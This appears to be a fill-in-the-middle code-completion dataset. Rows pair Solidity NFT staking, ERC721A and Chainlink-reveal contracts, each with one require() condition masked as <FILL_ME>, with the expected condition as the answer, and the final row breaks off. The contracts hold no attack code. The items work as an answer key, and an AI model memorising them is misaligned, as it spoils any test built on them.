function info() public view returns (Access memory) {
}
function isEligibleForAirdrop(bytes32[] memory _merkleProof) public view returns (bool) {
}
/**
* ONLY OWNER
*/
function setPrices(uint256 _price) public onlyOwner {
}
function setWaits(uint256 _wait) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
/**
* OVERRIDES
*/
function burn(uint256 tokenId) public override(ERC721Burnable) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| balanceOf(msg.sender)==0&&access.tokenId==0&&access.lockedUntil==0,"you already staked" | 184,023 | balanceOf(msg.sender)==0&&access.tokenId==0&&access.lockedUntil==0 |
"insufficient token balance" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract SfmoonAccess is ERC721, ERC721Enumerable, ERC721Burnable, Ownable, Pausable, ReentrancyGuard {
struct Access {
uint256 tokenId;
uint256 lockedUntil;
uint256 lockedAmount;
}
struct Waits {
uint256 wait30;
uint256 wait45;
uint256 wait90;
uint256 wait180;
}
struct Prices {
uint256 price30;
uint256 price45;
uint256 price90;
uint256 price180;
}
IERC20 public immutable token;
Waits public waits;
Prices public prices;
uint256 private nfts = 0;
uint256 public stakers = 0;
uint256 public airdroppers = 0;
uint256 public maxSupply;
bytes32 public merkleRoot;
mapping(address => Access) private accesses;
modifier canStake(uint256 price) {
Access memory access = accesses[msg.sender];
require(balanceOf(msg.sender) == 0 && access.tokenId == 0 && access.lockedUntil == 0, "you already staked");
require(stakers < maxSupply, "no more places");
require(<FILL_ME>)
require(token.allowance(msg.sender, address(this)) >= price, "!approved");
_;
}
modifier canClaimNft() {
}
modifier canClaimAirdropNft(bytes32[] calldata _merkleProof) {
}
modifier canUnstake() {
}
constructor(
string memory _name,
string memory _symbol,
address _token,
uint256 _maxSupply,
uint256 _price,
uint256 _wait
) ERC721(_name, _symbol) {
}
function stake30() public nonReentrant whenNotPaused canStake(prices.price30) {
}
function stake45() public nonReentrant whenNotPaused canStake(prices.price45) {
}
function stake90() public nonReentrant whenNotPaused canStake(prices.price90) {
}
function stake180() public nonReentrant whenNotPaused canStake(prices.price180) {
}
function claimNft() public nonReentrant whenNotPaused canClaimNft {
}
function claimAirdropNft(bytes32[] calldata _merkleProof)
public
nonReentrant
whenNotPaused
canClaimAirdropNft(_merkleProof)
{
}
function unstake() public nonReentrant whenNotPaused canUnstake {
}
function info() public view returns (Access memory) {
}
function isEligibleForAirdrop(bytes32[] memory _merkleProof) public view returns (bool) {
}
/**
* ONLY OWNER
*/
function setPrices(uint256 _price) public onlyOwner {
}
function setWaits(uint256 _wait) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
/**
* OVERRIDES
*/
function burn(uint256 tokenId) public override(ERC721Burnable) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| token.balanceOf(msg.sender)>=price,"insufficient token balance" | 184,023 | token.balanceOf(msg.sender)>=price |
"!approved" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract SfmoonAccess is ERC721, ERC721Enumerable, ERC721Burnable, Ownable, Pausable, ReentrancyGuard {
struct Access {
uint256 tokenId;
uint256 lockedUntil;
uint256 lockedAmount;
}
struct Waits {
uint256 wait30;
uint256 wait45;
uint256 wait90;
uint256 wait180;
}
struct Prices {
uint256 price30;
uint256 price45;
uint256 price90;
uint256 price180;
}
IERC20 public immutable token;
Waits public waits;
Prices public prices;
uint256 private nfts = 0;
uint256 public stakers = 0;
uint256 public airdroppers = 0;
uint256 public maxSupply;
bytes32 public merkleRoot;
mapping(address => Access) private accesses;
modifier canStake(uint256 price) {
Access memory access = accesses[msg.sender];
require(balanceOf(msg.sender) == 0 && access.tokenId == 0 && access.lockedUntil == 0, "you already staked");
require(stakers < maxSupply, "no more places");
require(token.balanceOf(msg.sender) >= price, "insufficient token balance");
require(<FILL_ME>)
_;
}
modifier canClaimNft() {
}
modifier canClaimAirdropNft(bytes32[] calldata _merkleProof) {
}
modifier canUnstake() {
}
constructor(
string memory _name,
string memory _symbol,
address _token,
uint256 _maxSupply,
uint256 _price,
uint256 _wait
) ERC721(_name, _symbol) {
}
function stake30() public nonReentrant whenNotPaused canStake(prices.price30) {
}
function stake45() public nonReentrant whenNotPaused canStake(prices.price45) {
}
function stake90() public nonReentrant whenNotPaused canStake(prices.price90) {
}
function stake180() public nonReentrant whenNotPaused canStake(prices.price180) {
}
function claimNft() public nonReentrant whenNotPaused canClaimNft {
}
function claimAirdropNft(bytes32[] calldata _merkleProof)
public
nonReentrant
whenNotPaused
canClaimAirdropNft(_merkleProof)
{
}
function unstake() public nonReentrant whenNotPaused canUnstake {
}
function info() public view returns (Access memory) {
}
function isEligibleForAirdrop(bytes32[] memory _merkleProof) public view returns (bool) {
}
/**
* ONLY OWNER
*/
function setPrices(uint256 _price) public onlyOwner {
}
function setWaits(uint256 _wait) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
/**
* OVERRIDES
*/
function burn(uint256 tokenId) public override(ERC721Burnable) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| token.allowance(msg.sender,address(this))>=price,"!approved" | 184,023 | token.allowance(msg.sender,address(this))>=price |
"you already have nft" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract SfmoonAccess is ERC721, ERC721Enumerable, ERC721Burnable, Ownable, Pausable, ReentrancyGuard {
struct Access {
uint256 tokenId;
uint256 lockedUntil;
uint256 lockedAmount;
}
struct Waits {
uint256 wait30;
uint256 wait45;
uint256 wait90;
uint256 wait180;
}
struct Prices {
uint256 price30;
uint256 price45;
uint256 price90;
uint256 price180;
}
IERC20 public immutable token;
Waits public waits;
Prices public prices;
uint256 private nfts = 0;
uint256 public stakers = 0;
uint256 public airdroppers = 0;
uint256 public maxSupply;
bytes32 public merkleRoot;
mapping(address => Access) private accesses;
modifier canStake(uint256 price) {
}
modifier canClaimNft() {
Access memory access = accesses[msg.sender];
require(<FILL_ME>)
require(stakers <= maxSupply, "no more places"); // FIXME: ????? REMOVE ?????
require(block.timestamp >= access.lockedUntil, "wait period is not finished");
require(access.lockedAmount > 0, "you did not staked");
_;
}
modifier canClaimAirdropNft(bytes32[] calldata _merkleProof) {
}
modifier canUnstake() {
}
constructor(
string memory _name,
string memory _symbol,
address _token,
uint256 _maxSupply,
uint256 _price,
uint256 _wait
) ERC721(_name, _symbol) {
}
function stake30() public nonReentrant whenNotPaused canStake(prices.price30) {
}
function stake45() public nonReentrant whenNotPaused canStake(prices.price45) {
}
function stake90() public nonReentrant whenNotPaused canStake(prices.price90) {
}
function stake180() public nonReentrant whenNotPaused canStake(prices.price180) {
}
function claimNft() public nonReentrant whenNotPaused canClaimNft {
}
function claimAirdropNft(bytes32[] calldata _merkleProof)
public
nonReentrant
whenNotPaused
canClaimAirdropNft(_merkleProof)
{
}
function unstake() public nonReentrant whenNotPaused canUnstake {
}
function info() public view returns (Access memory) {
}
function isEligibleForAirdrop(bytes32[] memory _merkleProof) public view returns (bool) {
}
/**
* ONLY OWNER
*/
function setPrices(uint256 _price) public onlyOwner {
}
function setWaits(uint256 _wait) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
/**
* OVERRIDES
*/
function burn(uint256 tokenId) public override(ERC721Burnable) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| balanceOf(msg.sender)==0&&access.tokenId==0,"you already have nft" | 184,023 | balanceOf(msg.sender)==0&&access.tokenId==0 |
"not eligible" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract SfmoonAccess is ERC721, ERC721Enumerable, ERC721Burnable, Ownable, Pausable, ReentrancyGuard {
struct Access {
uint256 tokenId;
uint256 lockedUntil;
uint256 lockedAmount;
}
struct Waits {
uint256 wait30;
uint256 wait45;
uint256 wait90;
uint256 wait180;
}
struct Prices {
uint256 price30;
uint256 price45;
uint256 price90;
uint256 price180;
}
IERC20 public immutable token;
Waits public waits;
Prices public prices;
uint256 private nfts = 0;
uint256 public stakers = 0;
uint256 public airdroppers = 0;
uint256 public maxSupply;
bytes32 public merkleRoot;
mapping(address => Access) private accesses;
modifier canStake(uint256 price) {
}
modifier canClaimNft() {
}
modifier canClaimAirdropNft(bytes32[] calldata _merkleProof) {
Access memory access = accesses[msg.sender];
require(<FILL_ME>)
require(
balanceOf(msg.sender) == 0 && access.tokenId == 0 && access.lockedUntil == 0 && access.lockedAmount == 0,
"you already staked or have nft"
);
_;
}
modifier canUnstake() {
}
constructor(
string memory _name,
string memory _symbol,
address _token,
uint256 _maxSupply,
uint256 _price,
uint256 _wait
) ERC721(_name, _symbol) {
}
function stake30() public nonReentrant whenNotPaused canStake(prices.price30) {
}
function stake45() public nonReentrant whenNotPaused canStake(prices.price45) {
}
function stake90() public nonReentrant whenNotPaused canStake(prices.price90) {
}
function stake180() public nonReentrant whenNotPaused canStake(prices.price180) {
}
function claimNft() public nonReentrant whenNotPaused canClaimNft {
}
function claimAirdropNft(bytes32[] calldata _merkleProof)
public
nonReentrant
whenNotPaused
canClaimAirdropNft(_merkleProof)
{
}
function unstake() public nonReentrant whenNotPaused canUnstake {
}
function info() public view returns (Access memory) {
}
function isEligibleForAirdrop(bytes32[] memory _merkleProof) public view returns (bool) {
}
/**
* ONLY OWNER
*/
function setPrices(uint256 _price) public onlyOwner {
}
function setWaits(uint256 _wait) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
/**
* OVERRIDES
*/
function burn(uint256 tokenId) public override(ERC721Burnable) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| isEligibleForAirdrop(_merkleProof),"not eligible" | 184,023 | isEligibleForAirdrop(_merkleProof) |
"you already staked or have nft" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract SfmoonAccess is ERC721, ERC721Enumerable, ERC721Burnable, Ownable, Pausable, ReentrancyGuard {
struct Access {
uint256 tokenId;
uint256 lockedUntil;
uint256 lockedAmount;
}
struct Waits {
uint256 wait30;
uint256 wait45;
uint256 wait90;
uint256 wait180;
}
struct Prices {
uint256 price30;
uint256 price45;
uint256 price90;
uint256 price180;
}
IERC20 public immutable token;
Waits public waits;
Prices public prices;
uint256 private nfts = 0;
uint256 public stakers = 0;
uint256 public airdroppers = 0;
uint256 public maxSupply;
bytes32 public merkleRoot;
mapping(address => Access) private accesses;
modifier canStake(uint256 price) {
}
modifier canClaimNft() {
}
modifier canClaimAirdropNft(bytes32[] calldata _merkleProof) {
Access memory access = accesses[msg.sender];
require(isEligibleForAirdrop(_merkleProof), "not eligible");
require(<FILL_ME>)
_;
}
modifier canUnstake() {
}
constructor(
string memory _name,
string memory _symbol,
address _token,
uint256 _maxSupply,
uint256 _price,
uint256 _wait
) ERC721(_name, _symbol) {
}
function stake30() public nonReentrant whenNotPaused canStake(prices.price30) {
}
function stake45() public nonReentrant whenNotPaused canStake(prices.price45) {
}
function stake90() public nonReentrant whenNotPaused canStake(prices.price90) {
}
function stake180() public nonReentrant whenNotPaused canStake(prices.price180) {
}
function claimNft() public nonReentrant whenNotPaused canClaimNft {
}
function claimAirdropNft(bytes32[] calldata _merkleProof)
public
nonReentrant
whenNotPaused
canClaimAirdropNft(_merkleProof)
{
}
function unstake() public nonReentrant whenNotPaused canUnstake {
}
function info() public view returns (Access memory) {
}
function isEligibleForAirdrop(bytes32[] memory _merkleProof) public view returns (bool) {
}
/**
* ONLY OWNER
*/
function setPrices(uint256 _price) public onlyOwner {
}
function setWaits(uint256 _wait) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
/**
* OVERRIDES
*/
function burn(uint256 tokenId) public override(ERC721Burnable) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| balanceOf(msg.sender)==0&&access.tokenId==0&&access.lockedUntil==0&&access.lockedAmount==0,"you already staked or have nft" | 184,023 | balanceOf(msg.sender)==0&&access.tokenId==0&&access.lockedUntil==0&&access.lockedAmount==0 |
"nft does not exist" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract SfmoonAccess is ERC721, ERC721Enumerable, ERC721Burnable, Ownable, Pausable, ReentrancyGuard {
struct Access {
uint256 tokenId;
uint256 lockedUntil;
uint256 lockedAmount;
}
struct Waits {
uint256 wait30;
uint256 wait45;
uint256 wait90;
uint256 wait180;
}
struct Prices {
uint256 price30;
uint256 price45;
uint256 price90;
uint256 price180;
}
IERC20 public immutable token;
Waits public waits;
Prices public prices;
uint256 private nfts = 0;
uint256 public stakers = 0;
uint256 public airdroppers = 0;
uint256 public maxSupply;
bytes32 public merkleRoot;
mapping(address => Access) private accesses;
modifier canStake(uint256 price) {
}
modifier canClaimNft() {
}
modifier canClaimAirdropNft(bytes32[] calldata _merkleProof) {
}
modifier canUnstake() {
Access memory access = accesses[msg.sender];
require(<FILL_ME>)
require(access.lockedAmount > 0, "airdrop can not be unstaked");
require(ownerOf(access.tokenId) == msg.sender, "you aint nft owner");
require(block.timestamp >= access.lockedUntil, "wait period is not finished");
_;
}
constructor(
string memory _name,
string memory _symbol,
address _token,
uint256 _maxSupply,
uint256 _price,
uint256 _wait
) ERC721(_name, _symbol) {
}
function stake30() public nonReentrant whenNotPaused canStake(prices.price30) {
}
function stake45() public nonReentrant whenNotPaused canStake(prices.price45) {
}
function stake90() public nonReentrant whenNotPaused canStake(prices.price90) {
}
function stake180() public nonReentrant whenNotPaused canStake(prices.price180) {
}
function claimNft() public nonReentrant whenNotPaused canClaimNft {
}
function claimAirdropNft(bytes32[] calldata _merkleProof)
public
nonReentrant
whenNotPaused
canClaimAirdropNft(_merkleProof)
{
}
function unstake() public nonReentrant whenNotPaused canUnstake {
}
function info() public view returns (Access memory) {
}
function isEligibleForAirdrop(bytes32[] memory _merkleProof) public view returns (bool) {
}
/**
* ONLY OWNER
*/
function setPrices(uint256 _price) public onlyOwner {
}
function setWaits(uint256 _wait) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
/**
* OVERRIDES
*/
function burn(uint256 tokenId) public override(ERC721Burnable) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| _exists(access.tokenId)&&access.tokenId!=0,"nft does not exist" | 184,023 | _exists(access.tokenId)&&access.tokenId!=0 |
"you aint nft owner" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract SfmoonAccess is ERC721, ERC721Enumerable, ERC721Burnable, Ownable, Pausable, ReentrancyGuard {
struct Access {
uint256 tokenId;
uint256 lockedUntil;
uint256 lockedAmount;
}
struct Waits {
uint256 wait30;
uint256 wait45;
uint256 wait90;
uint256 wait180;
}
struct Prices {
uint256 price30;
uint256 price45;
uint256 price90;
uint256 price180;
}
IERC20 public immutable token;
Waits public waits;
Prices public prices;
uint256 private nfts = 0;
uint256 public stakers = 0;
uint256 public airdroppers = 0;
uint256 public maxSupply;
bytes32 public merkleRoot;
mapping(address => Access) private accesses;
modifier canStake(uint256 price) {
}
modifier canClaimNft() {
}
modifier canClaimAirdropNft(bytes32[] calldata _merkleProof) {
}
modifier canUnstake() {
Access memory access = accesses[msg.sender];
require(_exists(access.tokenId) && access.tokenId != 0, "nft does not exist");
require(access.lockedAmount > 0, "airdrop can not be unstaked");
require(<FILL_ME>)
require(block.timestamp >= access.lockedUntil, "wait period is not finished");
_;
}
constructor(
string memory _name,
string memory _symbol,
address _token,
uint256 _maxSupply,
uint256 _price,
uint256 _wait
) ERC721(_name, _symbol) {
}
function stake30() public nonReentrant whenNotPaused canStake(prices.price30) {
}
function stake45() public nonReentrant whenNotPaused canStake(prices.price45) {
}
function stake90() public nonReentrant whenNotPaused canStake(prices.price90) {
}
function stake180() public nonReentrant whenNotPaused canStake(prices.price180) {
}
function claimNft() public nonReentrant whenNotPaused canClaimNft {
}
function claimAirdropNft(bytes32[] calldata _merkleProof)
public
nonReentrant
whenNotPaused
canClaimAirdropNft(_merkleProof)
{
}
function unstake() public nonReentrant whenNotPaused canUnstake {
}
function info() public view returns (Access memory) {
}
function isEligibleForAirdrop(bytes32[] memory _merkleProof) public view returns (bool) {
}
/**
* ONLY OWNER
*/
function setPrices(uint256 _price) public onlyOwner {
}
function setWaits(uint256 _wait) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
/**
* OVERRIDES
*/
function burn(uint256 tokenId) public override(ERC721Burnable) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| ownerOf(access.tokenId)==msg.sender,"you aint nft owner" | 184,023 | ownerOf(access.tokenId)==msg.sender |
"ERC721ABase: token does not exist" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "ERC721A/ERC721A.sol";
import "openzeppelin-contracts/contracts/access/Ownable.sol";
import "openzeppelin-contracts/contracts/security/Pausable.sol";
import "openzeppelin-contracts/contracts/token/common/ERC2981.sol";
contract ERC721ABase is ERC721A, Ownable, Pausable, ERC2981 {
string private baseURI;
constructor(
string memory name,
string memory symbol,
string memory baseURI_,
address payable royaltyRecipient,
uint96 royaltyBPS
) ERC721A(name, symbol) {
}
modifier tokenExists(uint256 tokenId) {
require(<FILL_ME>)
_;
}
modifier onlyApprovedOrOwner(uint256 tokenId) {
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual override {
}
// @notice: Overrides _startTokenId in ERC721A
function _startTokenId() internal pure virtual override returns (uint256) {
}
// @notice Overrides _baseURI() in ERC721A
function _baseURI() internal view virtual override returns (string memory) {
}
// @notice Overrides supportsInterface as required by inheritance.
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function setDefaultRoyalty(address receiver, uint96 basisPoints)
public
virtual
onlyOwner
{
}
/// @notice Pauses the contract.
function pause() public onlyOwner {
}
/// @notice Unpauses the contract.
function unpause() public onlyOwner {
}
}
| ERC721A._exists(tokenId),"ERC721ABase: token does not exist" | 184,066 | ERC721A._exists(tokenId) |
"ERC721ABase: caller is not owner nor approved" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "ERC721A/ERC721A.sol";
import "openzeppelin-contracts/contracts/access/Ownable.sol";
import "openzeppelin-contracts/contracts/security/Pausable.sol";
import "openzeppelin-contracts/contracts/token/common/ERC2981.sol";
contract ERC721ABase is ERC721A, Ownable, Pausable, ERC2981 {
string private baseURI;
constructor(
string memory name,
string memory symbol,
string memory baseURI_,
address payable royaltyRecipient,
uint96 royaltyBPS
) ERC721A(name, symbol) {
}
modifier tokenExists(uint256 tokenId) {
}
modifier onlyApprovedOrOwner(uint256 tokenId) {
require(<FILL_ME>)
_;
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual override {
}
// @notice: Overrides _startTokenId in ERC721A
function _startTokenId() internal pure virtual override returns (uint256) {
}
// @notice Overrides _baseURI() in ERC721A
function _baseURI() internal view virtual override returns (string memory) {
}
// @notice Overrides supportsInterface as required by inheritance.
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function setDefaultRoyalty(address receiver, uint96 basisPoints)
public
virtual
onlyOwner
{
}
/// @notice Pauses the contract.
function pause() public onlyOwner {
}
/// @notice Unpauses the contract.
function unpause() public onlyOwner {
}
}
| _ownershipOf(tokenId).addr==_msgSender()||getApproved(tokenId)==_msgSender(),"ERC721ABase: caller is not owner nor approved" | 184,066 | _ownershipOf(tokenId).addr==_msgSender()||getApproved(tokenId)==_msgSender() |
"REVEAL_ALREADY_DONE" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@chainlink/contracts/src/v0.8/interfaces/LinkTokenInterface.sol";
import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
contract Fizzzy is ERC721, Ownable, VRFConsumerBaseV2, ReentrancyGuard{
VRFCoordinatorV2Interface COORDINATOR;
LinkTokenInterface LINKTOKEN;
address vrfCoordinator = 0x271682DEB8C4E0901D1a1550aD2e64D568E69909;
address link_token_contract = 0x514910771AF9Ca656af840dff83E8264EcF986CA;
bytes32 keyHash = 0x8af398995b04c28e9951adb9721ef74c74f93e6a478f39e7e0777be13527e7ef;
uint32 callbackGasLimit = 100000;
uint16 requestConfirmations = 3;
uint32 numWords = 2;
uint256[] public s_randomWords;
uint256 public s_requestId;
uint64 public s_subscriptionId;
address s_owner;
uint256 private chainlinkRandomSeed;
bool public reveal = false;
constructor(uint64 subscriptionId)
VRFConsumerBaseV2(vrfCoordinator)
ERC721("Fizzzy","Fizzzy")
{
}
function startReveal() public onlyOwner {
require(<FILL_ME>)
s_requestId = COORDINATOR.requestRandomWords(
keyHash,
s_subscriptionId,
requestConfirmations,
callbackGasLimit,
numWords
);
}
function fulfillRandomWords(
uint256, /* requestId */
uint256[] memory randomWords
) internal override {
}
function claim(uint256 tokenId) public nonReentrant {
}
// TOKENURI AND ATTRIBUTE FUNCTIONS
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
// SVG generator function
function generateSvg(uint256 tokenId) internal view returns (string memory) {
}
function recursionDot(uint256 x, uint256 y, uint256 st) internal view returns (string memory) {
}
}
| !reveal,"REVEAL_ALREADY_DONE" | 184,171 | !reveal |
"Unable to mint" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@chainlink/contracts/src/v0.8/interfaces/LinkTokenInterface.sol";
import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
contract Fizzzy is ERC721, Ownable, VRFConsumerBaseV2, ReentrancyGuard{
VRFCoordinatorV2Interface COORDINATOR;
LinkTokenInterface LINKTOKEN;
address vrfCoordinator = 0x271682DEB8C4E0901D1a1550aD2e64D568E69909;
address link_token_contract = 0x514910771AF9Ca656af840dff83E8264EcF986CA;
bytes32 keyHash = 0x8af398995b04c28e9951adb9721ef74c74f93e6a478f39e7e0777be13527e7ef;
uint32 callbackGasLimit = 100000;
uint16 requestConfirmations = 3;
uint32 numWords = 2;
uint256[] public s_randomWords;
uint256 public s_requestId;
uint64 public s_subscriptionId;
address s_owner;
uint256 private chainlinkRandomSeed;
bool public reveal = false;
constructor(uint64 subscriptionId)
VRFConsumerBaseV2(vrfCoordinator)
ERC721("Fizzzy","Fizzzy")
{
}
function startReveal() public onlyOwner {
}
function fulfillRandomWords(
uint256, /* requestId */
uint256[] memory randomWords
) internal override {
}
function claim(uint256 tokenId) public nonReentrant {
require(<FILL_ME>)
_safeMint(_msgSender(), tokenId);
}
// TOKENURI AND ATTRIBUTE FUNCTIONS
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
// SVG generator function
function generateSvg(uint256 tokenId) internal view returns (string memory) {
}
function recursionDot(uint256 x, uint256 y, uint256 st) internal view returns (string memory) {
}
}
| balanceOf(_msgSender())<5&&tokenId<125,"Unable to mint" | 184,171 | balanceOf(_msgSender())<5&&tokenId<125 |
'This image has already been minted' | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.17;
import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
